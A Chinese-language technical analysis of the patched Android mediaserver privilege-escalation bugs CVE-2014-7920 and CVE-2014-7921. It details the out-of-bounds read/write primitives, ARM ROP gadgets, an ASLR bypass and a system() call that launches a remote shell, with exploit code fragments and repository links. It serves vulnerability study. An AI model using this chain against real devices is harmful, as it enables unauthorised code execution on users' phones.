Android提权漏洞CVE-2014-7920CVE-2014-7921分析
作者:沒羽@阿里移動安全,更多技術干貨,請訪問阿里聚安全博客
這是Android mediaserver的提權漏洞,利用CVE-2014-7920和CVE-2014-7921實現提權,從0權限提到media權限,其中CVE-2014-7921影響Android 4.0.3及以后的版本,CVE-2014-7920影響Android 2.2及以后的版本。Google直到Android5.1才修復這2個漏洞。該漏洞[1]披露過程如下:
14.10.14 - Vulnerabilities disclosed to Google 21.10.14 - Notified the Android security team that I've written a full exploit 13.12.14 - Sent query to Google regarding the current fix status 03.01.15 - Got response stating that the patches will be rolled out in the upcoming version 03.02.15 - Sent another query to Google 18.02.15 - Got response stating the fix status has not changed 08.03.15 - Sent third query to Google 19.03.15 - Got response saying patches have been pushed into Android 5.12016年1月24日漏洞作者發布了漏洞分析及exploit[2],拿到exploit后在幾個Android版本上均沒能運行成功,遂分析原因,學習漏洞利用思路。記錄如下,歡迎大家交流學習。
不熟悉Android Binder的同學,請自行網上搜索學習資料,下面直接分析漏洞。
0x1漏洞成因
前文提到這2個漏洞出在mediaserver,mediaserver在main_mediaserver.cpp[3]實現,其main()函數中初始化了2個service:
一個是AudioFlinger[4],service name為“media.audio_flinger”;另一個是AudioPolicyService[5],service name為“media.audio_policy”。
1.1內存寫漏洞
內存寫漏洞產生在“media.audio_policy”中,接口類為IAudioPolicyService6,其中startOutput()接口存在遞增的內存寫漏洞,stopOutput()接口存在遞減的內存寫漏洞。
startOutput()接口定義為:
startOutput(audio_io_handle_t output, audio_stream_type_t stream, int session = 0)
stopOutput ()接口定義為:
stopOutput(audio_io_handle_t output, audio_stream_type_t stream, int session = 0)
1)startOutput的遞增寫漏洞
熟悉Android Binder的同學都知道,該接口的native類為BnAudioPolicyService[8],當客戶端請求“START_OUTPUT”code即startOutput()接口時,BnAudioPolicyService::onTransact()收到請求,然后執行下面的代碼:
case START_OUTPUT: {CHECK_INTERFACE(IAudioPolicyService, data, reply);audio_io_handle_t output = static_cast <audio_io_handle_t>(data.readInt32());uint32_t stream = data.readInt32();int session = data.readInt32();reply->writeInt32(static_cast <uint32_t>(startOutput(output,(audio_stream_type_t)stream, session)));return NO_ERROR;} break;繼續調用AudioPolicyService ::startOutput()[9]方法:
mpAudioPolicy->start_output(mpAudioPolicy, output, stream, session);
mpAudioPolicy為audio_policy類型,audio_policy:: start_output()在audio_policy_hal.cpp中被定義為ap_start_output(),該方法調用:
lap->apm->startOutput()由AudioPolicyManagerBase:: startOutput()方法實現,該方法調用:
outputDesc->changeRefCount(stream, 1);我們來看AudioOutputDescriptor:: changeRefCount()[10]方法的代碼:
void AudioPolicyManagerBase::AudioOutputDescriptor::changeRefCount(AudioSystem::stream_type stream, int delta) {// forward usage count change to attached outputsif (isDuplicated()) {mOutput1->changeRefCount(stream, delta);mOutput2->changeRefCount(stream, delta);}if ((delta + (int)mRefCount[stream]) < 0) {ALOGW("changeRefCount() invalid delta %d for stream %d, refCount %d", delta, stream, mRefCount[stream]);mRefCount[stream] = 0;return;}mRefCount[stream] += delta;ALOGV("changeRefCount() stream %d, count %d", stream, mRefCount[stream]);當2個if語句都為假時,mRefCount[stream] += delta;語句將被執行。
此時如果索引stream可被控制,那么mRefCount內存的相對偏移內存將可被修改為加delta。恰巧stream為接口參數之一,也沒校驗,在AudioPolicyManagerBase:: startOutput()中傳入的delta為1 ,也就是說這里存在一個遞增1的內存寫漏洞。這個內存寫漏洞的產生需要滿足以下條件:
isDuplicated()為False:幸運的是默認情況大部分output不是duplicated的。
(delta +(int)mRefCount[stream]) < 0:由于這個判斷條件,mRefCount[stream]<0x7FFFFFFF時才會為False,這就限制了這個內存寫漏洞,只能對內存內容小于0x7FFFFFFF的內存值進行遞增。
2)stopOutput的遞減寫漏洞
stopOutput()接口類似于startOutput()接口,我們直接看AudioPolicyManagerBase::stopOutput()方法,該方法調用的是:
outputDesc->changeRefCount(stream, -1);
與startOutput()接口類似,也存在相同的寫限制,不同的是這遞減1的內存寫漏洞。
1.2內存讀漏洞
內存寫漏洞也產生在“media.audio_policy”中,問題出在isStreamActive()接口。該接口定義為:
bool isStreamActive(audio_stream_type_t stream, uint32_t inPastMs)
類似于startOutput()接口,該接口調用了AudioPolicyManagerBase::isStreamActive()方法,該方法調用:
即AudioOutputDescriptor::isStreamActive()方法,該方法代碼為:
bool AudioPolicyManagerBase::AudioOutputDescriptor::isStreamActive(AudioSystem::stream_type stream, uint32_t inPastMs, nsecs_t sysTime) const {if (mRefCount[stream] != 0) {return true;}if (inPastMs == 0) {return false;}if (sysTime == 0) {sysTime = systemTime();}if (ns2ms(sysTime - mStopTime[stream]) < inPastMs) {return true;}return false; }如果根據isStreamActive() 返回值判斷mRefCount[stream]是否為0,需要滿足2個條件:
mRefCount[stream] != 0;
ns2ms(sysTime - mStopTime[stream]) > inPastMs:
sysTime - mStopTime[stream]為時間差值,為正值,當inPastMs>=0x80000000時,該不等式成立。
所以可以通過控制stream和inPastMs的值判斷mRefCount內存相對偏移的值是否為0。
0x2利用之前
2.1利用技巧小結
1)利用內存讀,模糊匹配audio_hw_device對象
audio_hw_device這個結構包含了audio硬件設備函數指針,在“media.audio_policy”和“media.audio_flinger” service提供的接口中會被調用,這有利于寫exploit。audio_hw_device結構定義如下:
[圖片來自原文]
分析發現audio_hw_device對象中reserved和function_ptrs-> get_supported_devices為0,其它字段為非0。該結構用0和非0的形式可表示為:
前面提到可以通過isStreamActive()接口判斷內存值是否為非0,這樣結合audio_hw_device結構的特征在內存中搜索,恰巧在mRefCount的上下內存區域中可以搜索到audio_hw_device對象。
2)利用內存寫,泄漏內存地址
“media.audio_flinger”提供了getInputBufferSize()接口[11],接口定義為:
size_t getInputBufferSize(uint32_t sampleRate, audio_format_t format,audio_channel_mask_t channelMask)其服務端代碼為:
size_t AudioFlinger::getInputBufferSize(uint32_t sampleRate, audio_format_t format,audio_channel_mask_t channelMask) const {status_t ret = initCheck();if (ret != NO_ERROR) {return 0;}AutoMutex lock(mHardwareLock);mHardwareStatus = AUDIO_HW_GET_INPUT_BUFFER_SIZE;struct audio_config config;memset(&config, 0, sizeof(config));config.sample_rate = sampleRate;config.channel_mask = channelMask;config.format = format;audio_hw_device_t *dev = mPrimaryHardwareDev->hwDevice();size_t size = dev->get_input_buffer_size(dev, &config);mHardwareStatus = AUDIO_HW_IDLE;return size; }當客戶端調用getInputBufferSize()接口,服務端最終調用get_input_buffer_size()即audio_hw.cpp::adev_get_input_buffer_size()函數,最后返回size。由arm指令特性可知,get_input_buffer_size(dev, &config)函數的反匯編中,通過R0傳入dev指針,即audio_hw_device對象,函數執行完后,返回值通過R0傳回。如果修改get_input_buffer_size函數指針,讓其指向“BX LR”,那個就可拿到audio_hw_device對象的內存地址。
恰巧get_input_buffer_size ()函數指針也存儲于audio_hw_device對象中,使用內存寫漏洞讓audio_hw_device. get_input_buffer_size指向一個“BX LR”的地址即可獲取audio_hw_device對象地址。
2.2踩到的坑
筆者在調試exploit時發生多次crash,將update后的exploit放在https://github.com/Vinc3nt4H/cve-2014-79...,編譯環境:Android 4.3_r2.1,運行環境:AVD 4.3(4.3_r2.1)。
1)搜索audio_hw_device對象時mediaserver crash
在運行exploit時,可以搜索到audio_hw_device對象,但mediaserver crash了,可能是由于搜索的內存范圍過大,導致非法內存訪問。可縮小搜索范圍試試,比如設置MAX_OFFSET為-3000。
2)總是獲取不到adev_open_output_stream()地址
筆者在AVD 4.3上使用原gadget read_r0_offset_108,總是獲取不到adev_open_output_stream函數的指針,然后在camera.goldfish.so中找了一個gadget(thumb):
.text:0001E290 LDR R0, [R0,#0x6C] .text:0001E292 BX LR3)android 4.4.2上crash
開始時筆者在AVD 4.4.2中執行exploit總是不成功,調試發現audio_hw_device. get_input_buffer_size的值被置了0,如下圖:
因為mediaserver中加載的audio.primary.goldfish.so基址大于0x7FFFFFFF,也就是mRefCount[offset_get_input_buffer_size] > 0x7FFFFFFF,即為負數,在利用遞增1/遞減1時,changeRefCount()方法,如果(delta + (int)mRefCount[stream]) < 0,則將mRefCount[stream]置為0。在4.4.2上很難利用成功。
0x3漏洞利用分析
3.1搜索audio_hw_device對象相對偏移
2.1-1中提到利用audio_hw_device結構的特征在mediaserver進程中搜索匹配的對象。利用isStreamActive()的內存讀漏洞讀取mRefCount附件內存區域生產0/非0的內存映射,然后與audio_hw_device結構特征匹配,計算出audio_hw_device對象相對于mRefCount的相對偏移。
3.2 Bypass ASLR
2.1-2中有提到利用內存寫漏洞獲取內存地址,接下來我們來分析exploit是如何利用內存寫繞過ASLR的。
1)獲取audio.primary.goldfish.so基地址
首先修改audio_hw_device. get_input_buffer_size指針的值,get_input_buffer_size原始指向adev_get_input_buffer_size,修改使其指向 camera.goldfish.so::0x1E290+1,記為gadget1,代碼如下:
int funcptr_current_value = RELATIVE_ADDRESS_OF_GET_INPUT_BUFFER_SIZE;int wanted_value = + read_r0_offset_108.library_offset + read_r0_offset_108.gadget_offset;printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);其中library_offset為所使用的lib基址與audio.primary.goldfish.so庫基址之間的偏移,gadget_offset為相對于該lib庫基址的偏移;RELATIVE_ADDRESS_OF_GET_INPUT_BUFFER_SIZE為adev_get_input_buffer_size函數地址在audio.primary.goldfish.so中的偏移;modify_value()函數是內存遞增1 /遞減1操作的封裝。gadget1為:
.text:0001E290 LDR R0, [R0,#0x6C] .text:0001E292 BX LR然后調用AudioFlinger::getInputBufferSize()跳到gadget1。
uint32_t read_function_pointer_address = af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
gadget1執行時R0為dev即audio_hw_device對象,參考audio_hw_device結構,R0+0x64為open_output_stream即adev_open_output_stream的值,通過R0返回。
再減去adev_open_output_stream在audio.primary.goldfish.so中的偏移READ_FUNCTION_POINTER_OFFSET_FROM_BASE_ADDRESS,即可得到audio.primary.goldfish.so的基址。
2)獲取audio_hw_device對象地址
修改audio_hw_device. get_input_buffer_size指針使其指向libcamera_client.so::0x208FC+1,即gadget2:
.text:000208FC BX LR
gadget2運行時直接返回dev(R0)的值,即audio_hw_device對象的地址。
3)設置write gadget
修改audio_hw_device. get_input_buffer_size為libcamera_client.so: 0x208f0+1,記為gadget3,利用代碼如下:
wanted_value = + write_gadget_info.library_offset + write_gadget_info.gadget_offset;printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);我們再來看看AudioFlinger::getInputBufferSize()方法,其中:
config.sample_rate = sampleRate; config.channel_mask = channelMask; config.format = format; size_t size = dev->get_input_buffer_size(dev, &config);看gadget3,寫數據調用接口getInputBufferSize(address, 0, value)(該接口定義為getInputBufferSize(uint32_tsampleRate, audio_format_t format, audio_channel_mask_t channelMask)),走到get_input_buffer_size(dev, config)時,R0為dev, R1為&config,gadget3執行如下:
.text:000208F0 LDR R2, [R1] ;將config.sample_rate存入R2中,即將address存入R2 .text:000208F2 STR R2, [R0] ;將config.sample_rate存儲dev[0] .text:000208F4 LDR R1, [R1,#4] ;將config.channel_mask存儲R1,即將value存入R1 .text:000208F6 LDR.W R2, [R2,#-0xC] ;計算偏移R2 = address - 0xC,在之前已修改了為相應的值(如:12) .text:000208FA STR R1, [R0,R2] ;將config.channel_mask存儲到,即將value存入dev[R2] .text:000208FC BX LR ;返回至此我們將audio_hw_device. get_input_buffer_size指向gadget3,再調用getInputBufferSize(address, 0, value)就可以向address-0xC內存寫入value。
3.3布局Gadget Buffer
將system()函數地址及參數寫到audio_hw_device.reserved中,再修改audio_hw_device.get_input_buffer_size指向一個call gadget,當再次調用get_input_buffer_size()時call gadget被觸發。
1)寫入system()函數參數
看利用代碼:
const char* wanted_path = "/data/local/tmp/a"; uint32_t scratch_pad_address = primary_device_address + 12; … … for (int i=0; i<num_of_dwords_in_path; i++)write32(af, aps, scratch_pad_address + i*sizeof(uint32_t), data_ptr[i]);write32()函數寫數據分為2步:
a)設置數據偏移
調用modify_value(aps, g_primary_device_offset + 1, offset - g_current_write_offset);修改dev.version的內容,該字段作為后面數據寫入時的數組偏移;dev.version首次從0x200遞減直到0xC:
b)寫入數據
調用af->getInputBufferSize(g_primary_device_address + sizeof(uint32_t) + 12, (audio_format_t)0, (audio_channel_mask_t)value)觸發gadget3執行,調試時斷在gadget3上:
此時R0指向dev,R1為&config:
查看[R1]內存,R1[0]為config. sampleRate即address,為要寫入的地址,address為&dev[0]+4+12, R1[1]為config. channelMask即value ,值為“/dat”:
gadget3的偽代碼大致如下:
該gadget(某次)運行完后,數據已被寫入audio_hw_device對象中:
2)寫入system()函數地址
根據audio.primary.goldfish.so的基址計算出system()函數的地址,調用gadget3寫到dev+36:
uint32_t system_address = audio_primary_library_address + system_gadget.library_offset +system_gadget.gadget_offset;printf("[+] Calculated system address: %08X\n", system_address); printf("[+] Writing parameters to addresses %08X, %08X\n", primary_device_address + 88, primary_device_address + 96);write32(af, aps, primary_device_address + 32, scratch_pad_address); write32(af, aps, primary_device_address + 36, system_address);3)寫入call gadget
調用gadget3修改audio_hw_device. get_input_buffer_size指針的值,使用指向,libstagefright.so: 0x5EF88+1,記為gadget4。
uint32_t blx_gadget_address = audio_primary_library_address + blx_gadget.library_offset +blx_gadget.gadget_offset; printf("[+] Calculated blx gadget address: %08X\n", blx_gadget_address); write32(af, aps, primary_device_address + GET_INPUT_BUFFER_SIZE_OFFSET*sizeof(uint32_t), blx_gadget_address);gadget4:
.text:0005EF88 LDR R3, [R0,#36] ;system() .text:0005EF8A LDR R0, [R0,#32] ; 將參數/data/local/tmp/a的指針加載到R0 .text:0005EF8C BLX R33.4觸發代碼執行
利用代碼為:
af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
當調用getInputBufferSize()時觸發gadget4執行:
寄存器值:
調用system()函數,加載外命令/data/local/tmp/a。筆者寫了個遠程shell命名為a,下圖是運行成功后獲取的shell,為“media”權限:
0x4參考鏈接
[1]http://bits-please.blogspot.com/2016/01/...
[2]https://github.com/laginimaineb/cve-2014...
[3]http://androidxref.com/4.3_r2.1/xref/fra...
[4]http://androidxref.com/4.3_r2.1/xref/fra...
[5]http://androidxref.com/4.3_r2.1/xref/fra...
[6]http://androidxref.com/4.3_r2.1/xref/fra...
[7]http://androidxref.com/4.3_r2.1/xref/fra...
[8]http://androidxref.com/4.3_r2.1/xref/fra...
[9]http://androidxref.com/4.3_r2.1/xref/fra...
[10]http://androidxref.com/4.3_r2.1/xref/har...
[11]http://androidxref.com/4.3_r2.1/xref/fra...
[12]https://github.com/Vinc3nt4H/cve-2014-79...
作者:沒羽@阿里移動安全,更多技術干貨,請訪問阿里聚安全博客
總結
以上是生活随笔為你收集整理的Android提权漏洞CVE-2014-7920CVE-2014-7921分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: phpcms v9 配置sphinx全文
- 下一篇: Android系统移植与驱动开发概述